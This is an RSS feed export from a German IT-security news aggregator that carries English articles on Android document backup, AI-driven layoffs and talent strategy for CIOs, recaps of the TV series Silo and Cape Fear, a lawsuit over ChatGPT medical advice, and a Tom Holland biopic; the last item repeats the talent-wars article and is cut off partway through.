<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=worktrees+killed+stashhotfixrebase+dance%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Sun, 02 Aug 2026 11:20:27 +0200</lastBuildDate>
<pubDate>Sun, 02 Aug 2026 11:20:27 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=worktrees+killed+stashhotfixrebase+dance%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=worktrees+killed+stashhotfixrebase+dance%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Your instant Android backup upgrade]]></title>
<description><![CDATA[Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.



In many areas of our digital life, that mercifully does Just Work™ in exactly that...]]></description>
<link>https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Here in this high-tech era of 2026, keeping important info backed up and synced <em>should </em>be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.</p>



<p class="wp-block-paragraph">In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.</p>



<p class="wp-block-paragraph">One area where seamless syncing somehow still <em>doesn’t</em> occur, though, is in the domain of <em>downloaded </em>documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on <em>that</em> one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.</p>



<p class="wp-block-paragraph">Well, take a moment to join me in celebration: Amidst all the <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">Gemini gobbledegook</a> that <a href="https://www.computerworld.com/article/2117752/google-gemini-ai.html">no one asked for</a> (and that often falls somewhere between <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">“pointless”</a> and <a href="https://www.computerworld.com/article/3990497/google-gemini-deceit.html">“actively counterproductive”</a>), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to <em>you</em> to find and activate it.</p>



<p class="wp-block-paragraph">Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.</p>



<p class="wp-block-paragraph">All <em>you’ve </em>gotta do is find and flip that one new switch.</p>



<p class="wp-block-paragraph"><strong>[Don’t let yourself miss an ounce of Android Intelligence. </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>Join my free weekly Android Intelligence newsletter</strong></a><strong> and get one new thing to try in your inbox every Friday!]</strong></p>



<h2 class="wp-block-heading"><strong>The Android backup lowdown</strong></h2>



<p class="wp-block-paragraph">So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.</p>



<p class="wp-block-paragraph">‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.</p>



<p class="wp-block-paragraph">Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many <em>other </em>areas of important data are also synced on their own at the app level — outside of any system mechanisms.</p>



<p class="wp-block-paragraph">Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on <em>that</em> <em>one device </em>and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if <em>you </em>go out of your way to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">find and set up a third-party app to handle the heavy lifting</a>.</p>



<p class="wp-block-paragraph">That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.</p>



<p class="wp-block-paragraph">See?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-documents.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup documents" class="wp-image-4198961" width="1024" height="546" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">The easily overlooked new option for backing up documents on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">The option is on its way to all devices running 2018’s <a href="https://www.computerworld.com/article/1698598/android-9-pie.html">Android 9 release</a> and higher. (If you’re still using a phone with an <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android version</a> older than that, you’re now a whopping <em>eight years </em>out of date, and you have <a href="https://www.computerworld.com/article/1718016/android-upgrades-matter.html"><em>much</em> bigger problems</a>.)</p>



<p class="wp-block-paragraph">Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.</p>



<p class="wp-block-paragraph">Lemme show ya how.</p>



<h2 class="wp-block-heading"><strong>Android’s document backup addition</strong></h2>



<p class="wp-block-paragraph">I promise: This couldn’t be much simpler.</p>



<p class="wp-block-paragraph">No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)</p>



<p class="wp-block-paragraph">Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.</p>



<p class="wp-block-paragraph">However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-options.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup options" class="wp-image-4198962" width="1024" height="742" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Android’s expanded list of backup options — now including documents alongside other forms of on-device data.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.</p>



<p class="wp-block-paragraph">If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.</p>



<p class="wp-block-paragraph">Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That <em>does</em> mean they’ll count against your overall Google storage total, so keep an eye on your <a href="https://drive.google.com/drive/u/0/quota" target="_blank" rel="noreferrer noopener">Drive storage total</a> to make sure you’re in solid shape and look to the <a href="https://one.google.com/storage/management?from=1&amp;g1_landing_page=1" target="_blank" rel="noreferrer noopener">Google One storage hub</a> if you ever want some simple suggestions for freeing up space.</p>



<p class="wp-block-paragraph">Speaking of other Google services: If you ever want to keep <em>other</em> types of locally stored <em>non</em>-document files from an Android device synced and available elsewhere, you can easily rely on <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=in-app%20upgrade.-,Photos%20and%20music,-OK%2C%20so%20they">Google Photos for syncing screenshots and other images</a> — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific <em>individual </em>on-device folders if you want to sync some but not all of those areas) — and you can still turn to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">those aforementioned third-party apps</a> for broader syncing of anything else imaginable.</p>



<p class="wp-block-paragraph">But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on <em>you </em>to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.</p>



<p class="wp-block-paragraph">Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that <em>that </em>can only be a good thing.</p>



<p class="wp-block-paragraph"><em>Get practical Android knowledge in your inbox every Friday with </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>my free Android Intelligence newsletter</em></strong></a><strong><em> </em></strong><em>— one new thing to try each week, straight from me to you.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to navigate the AI talent wars]]></title>
<description><![CDATA[Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”



...]]></description>
<link>https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-net-q1-earnings-revenues-230528107.html">Cloudflare recently beat Q1 2026 earnings</a>. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/block-q1-earnings-beat-strong-144200216.html">Block did the same thing</a>. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.</p>



<p class="wp-block-paragraph">This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, <a href="mailto:https://www.cio.com/article/4077996/cios-be-ready-for-agentic-ai-or-be-out-of-a-job.html">you’re behind</a>.</p>



<h2 class="wp-block-heading">The benchmark has moved</h2>



<p class="wp-block-paragraph">AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, <a href="mailto:https://www.forbes.com/sites/paulbaier/2026/03/31/ai-native-firms-lead-in-revenue-per-employee/">the average revenue per employee is $3.48M</a>, nearly twelve times the traditional SaaS benchmark of $300K.</p>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/what-to-do-if-your-business-decelerates/">Boards aren’t comparing you to your 2019 self anymore</a>. They’re comparing you to Anthropic.</p>



<p class="wp-block-paragraph">This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.</p>



<p class="wp-block-paragraph">For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.</p>



<p class="wp-block-paragraph">Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.</p>



<h2 class="wp-block-heading">‘Acqui-hires’ are a shortcut with a hidden cost</h2>



<p class="wp-block-paragraph">Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: <a href="mailto:https://tomtunguz.com/ai-acqui-hire-wave/">these are acqui-hires</a> dressed up as M&amp;A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.</p>



<p class="wp-block-paragraph">I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.</p>



<p class="wp-block-paragraph">But there’s a cost that doesn’t show up in the acquisition price.</p>



<p class="wp-block-paragraph">AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.</p>



<p class="wp-block-paragraph">When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.</p>



<p class="wp-block-paragraph">The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.</p>



<h2 class="wp-block-heading">The CIO’s real problem</h2>



<p class="wp-block-paragraph">The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.</p>



<p class="wp-block-paragraph">That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.</p>



<p class="wp-block-paragraph">The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.</p>



<p class="wp-block-paragraph">The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.</p>



<p class="wp-block-paragraph">This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.</p>



<h2 class="wp-block-heading">Closing the gap without slowing down</h2>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/the-great-ai-talent-grab-the-latest-20vc-with-jason-harry-and-rory/">The AI talent wars</a> are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.</p>



<p class="wp-block-paragraph">Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.</p>



<p class="wp-block-paragraph">The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.</p>



<p class="wp-block-paragraph">Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Silo’ Season 3, Episode 4 Recap: Bernard’s Return Changes Everything]]></title>
<description><![CDATA[Silo Season 3, Episode 4 takes Juliette deeper into Silo 18 as she escapes another attempt on her life and uncovers a secret that changes everything she thought she knew.



Warning: Major spoilers for Silo Season 3, Episode 4 follow.




Episode title: “Whatever You Do, Don’t Go Home”



Release...]]></description>
<link>https://tsecurity.de/de/3692379/ios-mac-os/silo-season-3-episode-4-recap-bernards-return-changes-everything/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692379/ios-mac-os/silo-season-3-episode-4-recap-bernards-return-changes-everything/</guid>
<pubDate>Fri, 24 Jul 2026 21:28:49 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3, Episode 4 takes Juliette deeper into Silo 18 as she escapes another attempt on her life and uncovers a secret that changes everything she thought she knew.



Warning: Major spoilers for Silo Season 3, Episode 4 follow.




Episode title: “Whatever You Do, Don’t Go Home”



Release date: July 24, 2026



Genre: Science fiction, drama and mystery



Season length: 10 episodes



Season 3 finale: September 4, 2026




Juliette escapes from Medical



The episode begins with Camille still determined to kill Juliette under the Algorithm’s instructions. Sims offers to handle the situation, although his true intentions remain difficult to understand.



Amy, the nurse caring for Juliette, turns against Camille’s plan. She sedates Emerson instead and helps Juliette escape from Medical. Amy also reveals that she had secretly replaced Juliette’s memory-suppressing medication before Juliette stopped taking the pills herself.



Amy allows the Raiders to capture her so Juliette can get away. Shirley later helps Juliette escape from Sims, believing that he plans to hurt her. However, his actions suggest that he may have been quietly helping Juliette all along.



Juliette discovers Bernard alive



Juliette asks Shirley to take her toward the sealed Digger Void. They discover that the entrance is not completely closed, allowing Juliette to continue down into a hidden section beneath the silo.



At the bottom, Juliette finds a small living area containing Bernard Holland. He is alive, heavily scarred and almost unrecognizable after the fire that supposedly killed him.



Sims previously claimed that Bernard had died and that his body had been destroyed. Bernard’s survival now raises major questions about Sims, Camille and the power struggle inside Silo 18. It also gives Juliette someone who understands the secrets behind the Algorithm and the larger silo system.



Billings investigates Orla’s murder



Elsewhere, Billings continues investigating Orla Kent’s death. He learns that rat poison did not kill her. Someone struck her with a piece of metal before hiding her body inside a closed tunnel.



Carla also disappears before she can meet Billings, while Mike and Glenda become possible suspects. The growing number of missing people suggests that someone is removing anyone connected to the silo’s hidden areas.



Daniel and Helen follow the conspiracy



In the earlier timeline, Daniel and Helen hide after discovering Steve’s damaged base and disappearance. Their only lead comes from a strange chess username that may contain a coded message.



Daniel contacts a Pentagon connection named Sam, while a government fixer pressures Helen to stop investigating. Sam eventually discovers something important, sending Daniel and Helen back into the conspiracy just before the episode ends.



Episode 4 leaves Juliette standing before one of the season’s biggest surprises. Bernard’s return can expose what Sims has been planning and reveal why Juliette’s memories were removed. What do you think Bernard will tell Juliette, and can she trust him after everything he did in previous seasons? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Cape Fear Season 1 Episode 9 Ending Explained: Every Twist Before the Finale]]></title>
<description><![CDATA[The Cape Fear finale looks set to bring the Bowdens and the Cady family together for one final, violent confrontation. Episode 9 revealed several important family secrets while leaving Zack missing and Anna trapped near Cape Fear.



Spoiler warning: This article contains major spoilers for Cape ...]]></description>
<link>https://tsecurity.de/de/3692313/ios-mac-os/cape-fear-season-1-episode-9-ending-explained-every-twist-before-the-finale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692313/ios-mac-os/cape-fear-season-1-episode-9-ending-explained-every-twist-before-the-finale/</guid>
<pubDate>Fri, 24 Jul 2026 20:48:40 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Cape Fear finale looks set to bring the Bowdens and the Cady family together for one final, violent confrontation. Episode 9 revealed several important family secrets while leaving Zack missing and Anna trapped near Cape Fear.



Spoiler warning: This article contains major spoilers for Cape Fear Episode 9, “The Scar.”




Finale release date: July 31, 2026



Episode title: “The Executioners”



Season length: 10 episodes



Genre: Psychological thriller and drama



Streaming platform: Apple TV



Main cast: Amy Adams, Javier Bardem, Patrick Wilson, Lily Collias, Joe Anders, CCH Pounder, Malia Pyles and Juliette Lewis




Where the Story Is Heading



Anna travelled to Cape Fear hoping to prove that Max Cady did not murder his wife, Melissa. She eventually discovered that Crystal killed Melissa out of jealousy and allowed Max to spend 17 years in prison for the crime.



Anna also learned that Luke, the scarred young man living with Crystal, is the child Crystal had with Max. After Crystal stabbed Anna, she escaped by jumping into the Cape Fear River. Meanwhile, Zack disappeared from the psychiatric facility, suggesting that Max has taken him as part of his final plan.



Max Cady



Max will probably take Zack to Cape Fear and use him to force Anna and Tom into a final confrontation. Although Max was wrongly imprisoned for Melissa’s murder, the finale is unlikely to excuse the violence and manipulation he has committed since his release.



Our prediction is that Max will die near the river, following the basic direction of earlier Cape Fear stories. Anna may kill him while protecting Zack or Natalie, completing the reversal from frightened victim to active survivor.



Anna Bowden



Anna now possesses the truth about Crystal, Luke and Melissa’s death. She will likely survive her injuries, return to Savannah and lead the effort to rescue Zack.



She may also expose Crystal as the real murderer, clearing Max’s name after his death. However, Anna could still face legal consequences for planting drugs in Max’s home and hiding parts of her relationship with him.



Tom Bowden



Tom remains in custody for Ray’s death, but Max’s involvement should eventually become clear. Tom will probably escape or receive temporary release before joining Anna at Cape Fear.



His marriage may survive the immediate crisis, although Anna’s history with Max and the question of Natalie’s biological father will leave lasting damage.



Natalie Bowden



Natalie has finally recognised how Max and Nevaeh manipulated her. She took Nevaeh’s hidden phone before Noa secured her release, giving the family valuable evidence about Max’s plans.



Natalie will likely help Noa trace Max and rescue Zack. She may also reject Max completely, regardless of whether his claim about being her biological father proves true.



Zack Bowden



Zack is in the greatest danger heading into the finale. Max has spent the season manipulating his mental health, religious beliefs and anger toward Tom.



Zack may initially follow Max willingly before realising that he has been used. We expect him to survive, although the finale could leave him responsible for seriously injuring or killing someone during the rescue.



Nevaeh Valentine



Nevaeh failed to kill Natalie and lost the secret phone she used to communicate with Max. She will probably turn against Max after recognising that he views her as another disposable part of his revenge plan.



She may confess, help investigators locate Zack or die while attempting to regain Max’s approval.



Noa Toussaint



Noa has become the Bowdens’ most reliable ally. She will likely use the phone Natalie stole to trace Max’s movements and lead the police toward Cape Fear.



Her arrival could stop Anna from killing Max in cold blood, although Max may force Anna to act before help reaches them.



Crystal and Luke



Crystal will probably follow Anna after escaping the boat, bringing Luke into the final conflict. Max may kill Crystal after learning that she murdered Melissa and allowed him to remain imprisoned.



Luke could attack Max or Crystal after discovering the full truth about his parents. He may survive as the final reminder of the abuse and secrecy running through the Cady family.



The Cape Fear finale has several mysteries left to answer, including Zack’s location, Natalie’s paternity and Max’s ultimate fate. What do you think will happen when the Bowdens and Cadys meet for the final time? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Florida Pastor Sues OpenAI, Says ChatGPT's Medical Advice Nearly Killed Him]]></title>
<description><![CDATA[Florida pastor Scott Winters sued OpenAI, alleging ChatGPT medical advice delayed emergency care before a near-fatal pulmonary embolism.]]></description>
<link>https://tsecurity.de/de/3691795/it-nachrichten/florida-pastor-sues-openai-says-chatgpts-medical-advice-nearly-killed-him/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691795/it-nachrichten/florida-pastor-sues-openai-says-chatgpts-medical-advice-nearly-killed-him/</guid>
<pubDate>Fri, 24 Jul 2026 16:43:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Florida pastor Scott Winters sued OpenAI, alleging ChatGPT medical advice delayed emergency care before a near-fatal pulmonary embolism.]]></content:encoded>
</item>
<item>
<title><![CDATA[Tom Holland Confirms Fred Astaire Biopic Is His Next Film]]></title>
<description><![CDATA[Tom Holland has confirmed that his long-awaited Fred Astaire biopic will be his next film, with the actor already preparing for its demanding dance sequences.



Tom Holland plans to perform every dance himself



Holland wants to recreate Astaire’s famous performance style as closely as possible...]]></description>
<link>https://tsecurity.de/de/3689153/ios-mac-os/tom-holland-confirms-fred-astaire-biopic-is-his-next-film/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689153/ios-mac-os/tom-holland-confirms-fred-astaire-biopic-is-his-next-film/</guid>
<pubDate>Thu, 23 Jul 2026 15:16:57 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tom Holland has confirmed that his long-awaited Fred Astaire biopic will be his next film, with the actor already preparing for its demanding dance sequences.



Tom Holland plans to perform every dance himself



Holland wants to recreate Astaire’s famous performance style as closely as possible. He plans to complete all the dancing himself without using body doubles.



The actor also hopes the production can film complete dance routines in a single continuous shot. This approach would keep Holland’s full body visible and allow audiences to watch each movement without frequent cuts.



Holland admitted that the preparation brings both excitement and “absolute dread.” He has already returned to the dance studio and plans to continue intensive training once his current promotional commitments end.



The role also gives Holland an opportunity to use his earlier dance training. Before becoming widely known as Spider-Man, he performed in the stage production of Billy Elliot the Musical in London.



Paul King will direct the Fred Astaire biopic



Paul King, known for directing the Paddington films and Wonka, remains attached to direct the untitled project. The film has been in development since Holland first announced his involvement in 2021.



Earlier reports indicated that the story would explore Astaire’s relationship with his sister and early dancing partner, Adele Astaire. However, official plot details and additional casting information have not been announced.



Production listings currently point to filming beginning in January 2027, although Sony has not confirmed an official release date.



Holland’s decision to avoid doubles will make the Fred Astaire biopic one of his most physically demanding projects. His commitment to long, uninterrupted dance scenes could also help the film capture the style that made Astaire one of Hollywood’s most celebrated performers.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to navigate the AI talent wars]]></title>
<description><![CDATA[Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”



...]]></description>
<link>https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/</guid>
<pubDate>Thu, 23 Jul 2026 15:06:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-net-q1-earnings-revenues-230528107.html">Cloudflare recently beat Q1 2026 earnings</a>. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/block-q1-earnings-beat-strong-144200216.html">Block did the same thing</a>. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.</p>



<p class="wp-block-paragraph">This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, <a href="mailto:https://www.cio.com/article/4077996/cios-be-ready-for-agentic-ai-or-be-out-of-a-job.html">you’re behind</a>.</p>



<h2 class="wp-block-heading">The benchmark has moved</h2>



<p class="wp-block-paragraph">AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, <a href="mailto:https://www.forbes.com/sites/paulbaier/2026/03/31/ai-native-firms-lead-in-revenue-per-employee/">the average revenue per employee is $3.48M</a>, nearly twelve times the traditional SaaS benchmark of $300K.</p>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/what-to-do-if-your-business-decelerates/">Boards aren’t comparing you to your 2019 self anymore</a>. They’re comparing you to Anthropic.</p>



<p class="wp-block-paragraph">This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.</p>



